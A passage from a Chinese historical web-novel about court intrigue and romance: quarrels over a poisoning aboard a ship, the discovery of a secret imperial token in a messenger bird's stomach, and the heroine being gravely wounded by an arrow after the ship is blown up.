“承晚今!”,殷思面色骤沉,原本温润的眼眸此刻冷厉如刀。
在场人中不明情况的仅有仙宁一人,巫辰也默认有仙宁在的场合,不应提及这些,并未言语,只当听不懂一般。
“殷思你是什么身份,敢直呼本王名讳?”
东方羽灵却斜倚上座椅,将一粒瓜子送入口中,正是饶有兴味地瞧,后又侧身对仙宁道:“嘘......他们胡说而已,仙宁尝尝这个。”
“哦......”,仙宁倒也听话,也未继续追问,只边嗑着瓜子,边认真听着大人说话,才松下一口气,猛然撇向身边的巫辰却又被吓着,“啊!有刀......”
原本最受不得这种气的巫辰,本想于此息事宁人,奈何一抹森冷锋芒贴上颈后的肌肤,才想做出动作反击。
殷思蓦然抬手时已将那柄短刀甩出,精准无误地扎落在承晚今身前的桌案上。
承晚今听出动静,猛地起身道:“本王是亲王,你找死是吗?”
“本公子是你亲叔叔,是你承晚今的长辈。直呼长辈全名,你眼里的规矩呢?”,殷思语气随意,似笑非笑,“承晚今,叫声殷叔叔听听。”
东方羽灵将身子坐直,明媚笑意自眼底溢出,说出的话却是没什么营养的。
“抱歉,我打断一下,殷公子的表述,稍有些不准确。殷公子不是颖王殿下的表叔吗?”
“......”
承晚今道:“宣州与燕庭正逢入春,传出有时疫漫延全城,染疫着伤病无数。可所谓的时疫,却是展家毒所至。此毒虽非烈性毒,但可缓步夺人性命。时疫更染进全城粮仓,殷氏于岑州、宣州、燕庭皆有盐粮私商,殷公子赚得这国难财,可还满意?”
巫辰知此事绝非殷思所做,甚至也未怀疑同样知晓展家毒制法的颐王。
巫辰道:“展家毒皆为入心入肺腑极快的致命毒,未曾有过你说的慢性毒。”
殷思握住她的手:“巫辰,你不必理他。”
“解药交出来,不然本王毒死他。”,承晚今说着便抬手一指。
巫辰顺着他所指的方向看去,他竟蒙着眼指对了位置,难免有些疑惑道:“你能看见,你是装瞎。”
承晚今却有些恼羞成怒道:“本王还没聋!”
巫辰道:“......哦,那你尽管来毒。这世上还未曾出现我解不开的毒,颖王殿下请随意。”
身后的代贺突然抽刀,手里也不知是攥着些什么,才有些新动向,便又被巫辰一把抓住手腕,代贺本就不敌,如今又是伤着的,应对起来轻而易举,几乎难对巫辰造成些实质性的伤害。
巫辰翻手将人控住,又去按住代贺肩上的创口,代贺整个人被重重砸在桌案上,桌面木屑纷飞,杯盏碎落一地,发出清脆声响。
“桌子!碎了......”,仙宁虽是有些怕,却更像是早已习惯此般场景,面上仍是好奇的神情居多。
东方羽灵笑道:“看来颖王殿下,只有将殷公子也毒瞎,巫姑娘才会愿意为你医眼疾了。”
殷思道:“只为一己私欲,还说成如此冠冕堂皇。”
正说话时,代贺又挣扎着爬起。巫辰早已无意再打她,她本就没什么还手之力,巫辰不愿胜之不武得只抓着一人欺负不放。于是俯身只握住代贺的手腕,可仅是轻轻一拽,几乎要将她的手腕捏出血来。
巫辰这才察觉她手中所攥着的,不对劲。
她盯向代贺问道:“你从何处得来的?”,代贺手中毒为巫辰幼时独自制出的殆纱之毒,巫辰最喜爱的一种毒。此毒并非传统展家毒毒方上有的,应是仅她一人所知。
“颖王殿下想要医好眼睛,竟是以这样的态度吗?若解此毒,需以百毒重入脏腑,烈火焚心蚀骨之痛如万针攒刺,只怕你没命再用这双眼。”
巫辰斩钉截铁道:“解,不,了。”
东方羽灵仍在一旁添乱:“巫姑娘若难以控制解毒剂量,只需试药而已。殷公子不是才说了是殿下亲叔叔,找他试解药不就......”
巫辰瞪向她,“你休想。”
“怎么,巫姑娘的殷公子若瞎了,事关你后半生的幸福,这都不救吗?巫姑娘竟如此狠心?”
内服解毒剂与外用解毒剂的机制全然不同,内服仅需于全身血液循环或在消化道直接发挥作用,以此阻断毒素损害。外用则需作用于皮肤或是创伤表面,至于眼上的毒如何外用,她从未尝试过。如若行差踏错分毫,反而会加固已入眼部的毒素。
“不救。瞎了更听话,我就喜欢瞎的。”,她正胡思乱想着,口中话的速度自是跟不上脑中所想。
“巫辰......你说什么呢......”,殷思面色紧绷,刻意佯装不在意地伸手,却又极快地轻拽住她的衣袂。
......
*
“殷思,好饿。”
与同船的那几人的争执,最终是以绝对的武力压制取胜。可巫辰未曾想过,与他们吵过这一架后,竟失了几餐现成的餐食......
巫辰本想干脆熬些汤药应付,却被殷思以“药太苦,且不想在健康的时候喝药”否决。
“我要晕过去了。”
“......”
“晕。”,她将脸颊靠在殷思身后,双臂环在他腰上。
殷思舀起一勺馅料,将其置于面皮中央,再不熟练得捏合面皮边缘,有些无暇去顾及她。
“你晕就晕,抱着我乱摸做什么,手要稳不住了......”
巫辰趁机在他腰上多掐上两下,认真道:“是你定力太差,还需多练。”
“阿颜,尝尝好吃吗?”
他眼中满是期待。
盘中糕体分上下两色,上层莹白如雪,凝脂般半透,内嵌细碎淡金桂花。下层碧若春潭,以嫩艾汁染成,混入磨碎的松仁,两层之间夹一抹浅绛色豆沙。
看着极有食欲。
巫辰快速将其中一块塞入口中,吃起来却是食欲全无。因对他的厨艺太过放心,入口的半块,不算小。
过甜的内陷使口中唾液快速分泌,更加难以下咽。她只好放缓吞咽速度噙着半块甜糕,含糊不清道:“好吃。”
“真的吗?”,他低头想要去抢下她半含在唇间的糕点。
巫辰怎会让他如愿抢上,他若是被甜哭了,还要去哄,麻烦得很。只好躲开他的动作,用手指一戳,将未入口的半块一气塞进嘴里。
巫辰反应过来他许是会因别的掉眼泪。抬首看向殷思时,他眼中已是盈满了委屈。
“什么意思......怎么不让亲......”
她只好尽力去嚼,勉强咽下后完成任务一般勾住他的脖颈将人拽到眼前,轻吻后,迅速跑开。
总要寻些别的吃食。
毕竟是初次下厨,殷思轻拈一块莹润糕点,缓缓送至唇边,轻咬一口。甜腻之味于舌尖翻涌,微微蹙眉,“......哪里好吃了。”,又开始忧心起她的味觉是否仍未恢复。
......
*
“殷思,吃这个。”,巫辰回小厨房时,手中攥着只羽色油亮的鸟。
“......”,殷思看着这只鸟,不知说些什么好。他只知离船前的吃食再难有了。
“怎么了?”
殷思道:“这是承晚今传信用的鹘鸟。”
巫辰会意出他方才片刻的沉默,她也未特意要抓这鹘鸟。只是它凑巧出现于无人的廊上,又凑巧被她碰上。
仅是伸手一捏,它就没了气息。
巫辰并未在意,淡淡道:“传信?可未见它身上有任何密信。”
“应是在它口中。”
可扒开这鸟的尖喙,细
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细查看了许久,也未寻出来。她只好执起锋利短刃,于案上轻解起它来,刃尖过处,羽落血溅,脏腑渐露。
终于鸟胃中取出未被完全消化的书信残片。
书信上落款处绘着的清浅图案,巫辰竟觉得十分熟悉,应是曾见过的。图上夜枭双目为赤色,羽翼层层堆叠如刀刃,夜枭足下踩半截断裂锁链,锁环刻篆体“禁”字。
如若未解读错,其中寓意是为——破除桎梏,执掌隐秘权柄。
殷思也盯着这图案出了神,“枭光令?”
他竟认得。
殷思道:“此书信或为‘枭光令’的行令处所传,行令处遍布全大苍,只受命于枭光令持有者。枭光令竟在承晚今手上......承晚今曾屡次遇刺,我们登船时所遇的行刺死士也可算在内,他们许是为夺这枭光令而来。若获此令,应为皇帝已然认定的继承人。”
“何人可受此令差使?”,巫辰询问中未停手下动作,舀一水倒入陶锅,将才理净的鸟放入锅中,随后,把手中草药一一撒入。
她还是将这鸟当做药用食材给煮了。
“手中持有‘枭光令’的‘行令者’,只直属于‘执令者’,仅受帝命行事。其大多为御前或是其余各处为官高手。”,殷思说着一顿,思索后又继续道:“承晚今若为枭光令现如今的执令者,其中疑点颇多。承晚今于初归大苍时便因枭光令遇刺,若此令为当今圣上所授只可能为八年前,承晚今才作为质子至天隆国时,便交到了他手中,皇帝独子三年前过世,他怎会未补先知将此令直接交于并非亲自的承晚今;若此令为先帝所授,承晚今便为先帝所指的大苍后主,如此一来,只可证明当今皇帝登位,存疑。”
巫辰点燃灶火。盯着锅中沸水与蒸腾热气正发着呆,开始猜测道:“殷思,你因何又知这枭光令?你也是行令者?”
“世家不可为行令者,我会知道,只因殷氏亲兵中,多有行令者。亲兵营出身的末息,便为行令者。阿颜可还记得那刑部侍郎?”
巫辰曾经便疑惑过,殷思身边的那两个小厮——初鸣与末息,看着年岁不大,武法却极为扎实。那刑部侍郎,叫安固临的,她也有印象,“安固临?你阿姐的亲信?”
殷思笑道,“阿颜如何知道的?”
“你的事,我都知道。”,巫辰将汤药盛出,“既然行令者的身份与其他官职或是另有所主,并不冲突。颐王身边的林小危,或是同为行令者。那日于乐坊与颐王射覆猜物,我曾试探她所置的第三样覆物为何物,依照承段复给出的卦象拆解,应是一偏黑金色调、且刻有铭文字符的令牌,此物与寻常腰牌不同。承段复若是有意取难猜的一物,用枭光令作为覆物倒也极为合适。”
殷思道:“若林小危持有枭光令,倒是与献都醒淑楼时,他受命于承晚今杀冷时俊,互相对应上。”
“殷思,你怕承晚今吗?”
殷思笑道:“我怕他做什么?”
巫辰将盛满汤药的碗递到殷思眼前,见他没有要喝的意思,只好端起碗来自己先尝了。她喝下一口汤药,歪头道:“那为何先前,他的话却总在压你一头。承晚今这几日的脾气怪异得很,大不同于他从前顾及着的‘得体有礼’。你也不同了,你敢骂他了。”
“承晚今他早知你身份,又屡次说着要求娶你......”
巫辰道:“哦,你原是在我面前装可怜的。”
“你与他,很熟吗?”
“算不上熟悉,只是我在殿前司时,曾跟在承晚今身边,办过几月差事。他有他的苦衷,只是我无法理解,也不敢苟同。”
巫辰淡淡道:“你随他办差的那几月,与他来过展府。所以,我才早早与你见过一面,是吗?”
“是。”
巫辰不知,承晚今与他手中的枭光令,之于展家八年前的疑案,有何关联。
若枭光令直属于皇帝,得此令,便得了只手翻覆朝政的良机。
......
*
挨过了仅食汤药的日子。
行船近码头,燕庭已至。然瞬息之间,巨响突兀而至,船板断裂,碎片纷飞,火焰冲天而起。
厄灾再至。
63.血泪融雨
行船近码头,燕庭已至。然瞬息之间,巨响突兀而至,船板断裂,碎片纷飞,火焰冲天而起。
厄灾再至。
......
*
东方羽灵身着一袭淡蓝色广袖长裙,正于船尾处赏景台静坐着。同承晚今一起饮茶,半天时间,竟未有拌嘴。
面前茶案上,茶香氤氲,她素手轻执茶盏,轻抿淡茶。
“颖王殿下,其实你并不在意我吧?”,她抬手执壶,动作轻缓端庄,将茶水倒入对面人的杯中。见承晚今面上笑意已无,继续道,“你的深情,在装给谁看呢?”
“本王从未佯装过半刻。”
东方羽灵的笑意自眼底晕开,“真好。我千挑万选的夫婿,看来并未选......”
承晚今却打断道:“我从未深情,何须去装?王妃如此自作多情,实在有些————”,他故意将尾音拖长,欲将东方羽灵的全部注意力吸引过来,确保她完完整整得听清他后面的话。
“恶心。”
她又轻托茶盏,送至唇边,“既如此厌弃我,何必执意救我上船。任由我死在岸上,‘晚今’心里,才会更加畅快吧?”
东方羽灵又是刻意强调起,对他亲昵的称呼。
承晚今笑道:“王妃又在自作多情了。你虽勉强有些用处,却又远不及那位国师有用。无事的时候,王妃应好好自省些——如何做好颖王妃。王妃若是无德无能惯了,本王的深情,可再没有了。”
“真是可惜......才想夸夸殿下,却又被您规训得再无自尊了。”,东方羽灵说着以帕掩面,双肩也带些颤抖。尽管对面的人看不清她如此丰富的动作与表情,却还是执着于装得到位些。
她将语气换作抽抽搭搭地哭诉,“颖王殿下当真是......论武力不及旁人,辈分也压不过旁人,就连颖王殿下这眼神儿......也稍有欠缺;仅余下个亲王的身份,可除了颖王妃,竟也无人在意。殿下抢不来那位展小姐,只好委身于备用的选择。晚今娶我,可会有怨言?”
“你再多话,下一刻,便会出现在江里,向本王求饶。”
东方羽灵对他的冷言威胁置若罔闻,只去步步紧逼,想见他更加恼羞成怒,“颖王殿下就连将我扔进江里,也需假手于人,舍不得亲自动手。羽灵当真是感动极了......”
“东方姑娘嫁于我,怕是怨意更深。”,承晚今蹙着眉去强忍怒意,竟于唇角挤出一抹笑来,“东方姑娘惦念那位......美好而不可得的知己,很是痛苦吧?”
东方羽灵却是全然不知,他正在讽刺些什么。
听她未有辩驳,承晚今又更加确认自己所想,笑道:“八年前,本王在东宫与兄长叙旧时,不巧被伤了双眼。光明不再的前一刻,却是见了那位太子伴读——展颜钦,满桌案、满书册,皆是绘着东方姑娘的肖像。”
“如此深情,令人很是难忘。待东方姑娘深情之人,早早亡故,更令人难过。”
东方羽灵全然会意出他的误解,却是绝不会反驳他。承晚今从未见过展颜钦,也对展颜钦无半点了解。只以她父亲曾作为东宫太傅这一层关系,妄自推断画中人是她。
失明前的最后一眼,如此重要。他若如此误解着,也好。
东方羽灵道:“颖王殿下无需妄自菲薄,已故之人,怎及‘眼前人’?时间将好,稍后遇险时,殿下可先救我离船?”
承晚今疑惑道:“你又做了什么?”
“这船不可留,自然是沉了它为妙。”,东方羽灵笑着,温柔且端庄,而后又越过承晚今去指使代贺,必于船毁沉江前,将仙宁领到巫辰所在之处。
......
*
码头之上,巨舰横陈,风云突变时,炸响如雷。
船身虽被彻底炸毁断裂,但待其全然没入江中,也需不少时间。只是才靠近码头岸边时,又有来寻“枭光令”的行刺死士,逼退他们时添了几分混乱与局促之感。
码头过往长船颇多,也不知道他们是如此此次精准寻来的。
巫辰原是将仙宁背上码头停靠岸处,正遇早早抄近路入燕庭的殷氏侍卫接应。燕庭行宫并未如来前所约定的,派随从近卫前来,出这些小茬子,倒也无关痛痒。
于巫辰而言,尚可应对自如,轻松到船毁后,她也并未去管殷思的去向。
他死不了就好。
船身渐倾,千钧之重翻卷起江流怒浪,而后缓向波心沉去。
她才欲一同上了车舆离开,冷不丁一声落水响声传来,突兀极了。全数行刺之人早已先与船舰沉江,船上不应有人。
巫辰朝残阳下的江边回望,对着正执马的韩茂道:“韩茂,先叫人带国师进行宫去。若是殷思先于我回来,让他不必等我,我稍后自会跟上。”
韩茂俯首,“是,少夫人!”
巫辰认得燕庭的路,儿时母亲翻看母亲遗物书册时,见过燕庭地图图纸,时隔多年却仍记得大差不差。无需引路人带路。
飞身跃入江中,只为去寻她曾欺负了多次的代贺。代贺身上的刀伤因何而起,还未查明。又碍于颖王身份与他的眼疾,巫辰与颖王起冲突时,便总是无意去拿代贺开刀。说到底,代贺也只是为其主行事。
江里红浪翻涌的一处,水中人惨白面容与殷红血水交织。
有些渗人。
她已落水多时,巫辰亦不确定,她是否还留有一命。也顾不得江水湍急,双臂用力挥动,冲破血水围困,尽力得抓向代贺。
巫辰才要碰到她的手臂,却因江流一翻,将人冲偏了些位置。只拽上了代贺胸前的衣裳,水流力道极大,直将她衣领扯偏了不少,将好露出正渗血的暗伤。
深长的创口因泡了江水,皮肉更加向外翻起,水流也难将汩汩鲜血冲刷洗净。原本昏迷着的代贺,于此时有了些许反应,惨白着脸骤然睁眼后,应是又呛入不少水入肺腑。
她带些挣扎得朝巫辰领口抓来。巫辰则抢先握住她伸来的手,握牢后回身便拖着代贺朝码头岸边游去。
本想回首去确认她的情况。
水流间,却于此时出现异样波动。她的反应行速,于水中,被无限放缓。
一支短杆羽箭斩破江波。箭矢前端的尖刺,也于巫辰眼中,被骤然放大。
咽喉被贯穿的痛感,随之而来。
......
钻心之痛哽于喉间,直将千万根钢针利刺同时吞下。
......
....
...
*
再次开口喘息,喉终盈满滚烫腥咸。
浑身痛得似被万人踩于脚下践踏,四肢也如被拆解割下,再无知觉。
她缩于一处角落,耳边似有惨叫与怒喝,只是声响模糊难以听得真切。又感自己浑身正溃烂,发出阵阵腐臭来,喉咙不适作呕,正将混着血水一齐从口中涌出。
口鼻却于此时被紧紧捂住,阻隔住腥风。
竟没那么痛了。
......
....
...
*
滴雨飘零,点点砸落于她的眼角,似冰泪纵横,反复刺痛心间残梦。
身上不适之感已然消失殆尽,异常轻松。原本紧缩的心口舒展开,血流缓缓,暖意涌起。
“沙沙”声慢慢钻入她耳中,雨声渐强,其余声响纷至沓
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来。
“......”
“......巫辰。”
“阿颜。”
“展颜辰你看看我......求求你......”
好凄厉的哭声,吵死了。直震得她耳膜有了些痛感。
“展颜辰......你不许死!你不准死!醒过来......看我一眼......”
“巫辰!”
好强硬的命令,根本不想听。雨声渐弱,连他的声音都有些听不清了。
才松懈下来的肢体,被灌入铁水,沉重又疲惫。
“展颜辰,你若敢死。我将殷思杀了陪你。”
......那可不行。
银箭穿刺透耳膜,强行撞入她的耳窍。如若醒不过来呢?如何阻止?
她已然够累了。
冰冷双唇被覆上,他的余温触碰着心头刀刃,携着残魂归心,裹紧相缠,退离不及。心口锋刃并未因他而断裂,只是变软、融化、再又空空不见。
血,正被抽离。
他一句一句得骗她,再一寸一寸得融进她的空骨,扎根新生出皮肉。浑身各处包括唇间,痛痒难忍。
她肺腑里的,殷红浊血紧贴着他的唇角溢出,接着便是大口鲜血由喉咙狂涌急至。她想将他推开却浑身无力,无法动弹。
缓缓地,缓缓地,双眸轻启。
有些失焦的眼,揉了些雨水、泪水、血水......她只想再多看看他。
“我......我就知道,阿颜特别爱我......”,殷思哭出的血泪点点,滴在她颈上。泪近决堤,无论如何也止不住,声声悲恸,“阿颜好听话,我不杀殷思了,不杀了......”
她没有力气去哄他。
斜插在脖颈的短箭箭身,正被他紧紧握着。他又抬了左手用力抹去血水泪滴,碰花了她最喜欢的那张脸。
巫辰靠躺在他腿上,眼看着殷思一会儿哭一会儿又笑,他又不停地去擦眼角滑下的血,正忙得慌乱,很是狼狈。
眼眶怎会夺出血来?
“你不许闭眼,看着我.......阿颜不许再睡,看着我......”,殷思不断哽咽,话语也有些模糊不清了。好在她还可听见、看见。
她强撑精神凝在他脸上,尽全力去睁眼。说实在的,他现在哭得确实不怎么好看。
若是净去血痕,许是比往日的哭相,稍逊色一点而已。
殷思安抚她道:“能听见我说话吗?”
“阿颜......可能会很痛,但是.....求你,千万不要睡......”
“阿颜最听话了......”
她的气管因颈上箭伤破损漏气,好在他及时将堵喉咙的血水及时吸出。
现需以可辅助通气的竹管插入伤处,若长时间难以自主呼吸,即便醒来也只会缺氧致死。
“公子......找到了!找到了......”,韩茂将竹管递上,又高举起外披为两人挡雨。听韩茂的声音,应是也在哭喊,“少夫人......您一定......一定好好的!呜————”
“你乱哭什么!她好得很。”
殷思只是这样说着,他自己却还在哭。
雾雨蒙蒙,韩茂才在雨中看清人,“公子......您、您的眼睛怎么了......是血吗......”
“呃——啊......别......”,她微张开口,想挤出些话来,只能发出残破断音。气管喉间便又涌上血来,顺唇角而流出。
“我知道......阿颜别说话。我不哭,我再也不哭了......”
她只是想说,别哭。